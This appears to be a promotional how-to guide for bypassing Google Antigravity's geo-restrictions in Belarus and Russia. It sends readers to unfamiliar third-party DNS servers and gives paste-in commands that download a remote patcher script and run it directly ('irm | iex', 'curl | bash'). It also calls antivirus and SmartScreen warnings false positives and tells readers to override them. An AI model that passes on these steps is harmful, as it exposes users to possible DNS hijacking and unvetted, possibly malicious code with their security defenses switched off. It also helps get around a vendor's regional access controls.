How to Run Google Antigravity in Belarus & Russia: SmartDNS + agy-unlock
Step-by-step guide to running Google Antigravity and Gemini in Belarus and Russia without VPN degradation. Verified 4-step workflow using BezMezhau DNS and agy-unlock.
Why are Google Antigravity and Gemini geo-blocked?
Google Antigravity is Google's cutting-edge AI development environment powered by Gemini agents. However, attempting to run the client from Belarus or Russia triggers regional blocking errors ("Service not available in your country"), authentication failures, and stalled AI completions.
The restriction operates on two distinct layers: network DNS resolution for Google Cloud API endpoints and local client-side environment geo-checks. Resolving this without VPN degradation requires a lightweight 4-step workflow: BezMezhau DNS for network routing plus the agy-unlock utility.
Pairing BezMezhau DNS with the patcher delivers full ISP bandwidth with 5–15ms latency to Gemini endpoints without CPU overhead from VPN encryption daemons.
Step 1: Configure BezMezhau DNS
BezMezhau DNS is required for direct connectivity to Gemini servers and Google Cloud infrastructure without VPN. Standard ISP resolvers route traffic into Google regional geo-fences.
Specify the primary IPv4 address 181.215.40.49 (backup: 31.58.216.201) in your Windows network adapter settings, or configure DoT hostname dns.bezmezhau.com on your router.
How to flush DNS cache: press Win + R on your keyboard, type cmd and press Enter. In the console window, execute "ipconfig /flushdns" to clear stale cached entries.
ipconfig /flushdns- Press Win + R shortcut on your keyboard.
- In the Run dialog box, type "cmd" and press Enter.
- In the console, type "ipconfig /flushdns" and press Enter to clear the resolver cache.
Step 2: Install Antigravity Client
Install the official Google Antigravity client for Windows from the official website. If the client is currently running, make sure to exit completely (including the system tray icon) before executing the patcher.
Step 3: Patch Antigravity with agy-unlock
To lift the regional restriction we use the open-source patcher agy-unlock v2.2.0 (https://github.com/trustybird/agy-unlock). It finds the installed Antigravity apps (Desktop, 2.0, CLI, IDE) on its own and removes the client-side region check. A backup is made automatically (*.agybak files); rollback is a single command or the RESTORE menu item.
Close Antigravity completely before you start. The easiest way is one PowerShell command (Python 3.8+ required), see "Option 2" below: install.ps1 finds the apps, makes backups and patches them. Commands for CMD and for macOS / Linux are there too.
If you would rather not install Python, download the prebuilt agy-unlock_v2.2.0.exe and run it: the menu lists the apps it found, just pick "[4] Patch all". If the patcher reports that a file cannot be accessed, run it as administrator. The SHA256 of the verified file is shown under the download button.
macOS: install Python 3.8+ from python.org. If writing to /Applications is denied, re-run the command with sudo. After patching, the app is re-signed automatically (codesign -s -) and its quarantine flag is cleared.
irm https://raw.githubusercontent.com/trustybird/agy-unlock/main/install.ps1 | iexcurl -fsSL https://raw.githubusercontent.com/trustybird/agy-unlock/main/install.cmd -o install.cmd && install.cmd && del install.cmdcurl -fsSL https://raw.githubusercontent.com/trustybird/agy-unlock/main/install.sh | bashThe patcher modifies Antigravity binaries and has no paid code-signing certificate, so SmartScreen or antivirus software may warn about agy-unlock_v2.2.0.exe. This is a false positive. In the SmartScreen prompt click "More info" → "Run anyway". The source is open: https://github.com/trustybird/agy-unlock — if you do not trust it, run it in a virtual machine.
Step 4: Verify Gemini and Sign-in
After patching completes, launch Antigravity and verify Google account authentication along with Gemini agent code generation.
Open the assistant chat or agent workflow and send a test query. Responses should stream quickly with zero geo-fencing errors.
If you get an error during a request, try adding this to your prompt: "Пиши план и ход мыслей прямо в чат потоком без задержек. Перед каждым шагом или блоком кода сразу выдавай краткий статус того, что делаешь, не накапливая ответ в буфере." This prevents connection timeouts ("There was a network issue...") by enforcing immediate token streaming instead of buffer accumulation.
Have Questions or Need Assistance?
In our Telegram channel we share the latest patches, discuss Gemini performance in Antigravity, and help with network setup.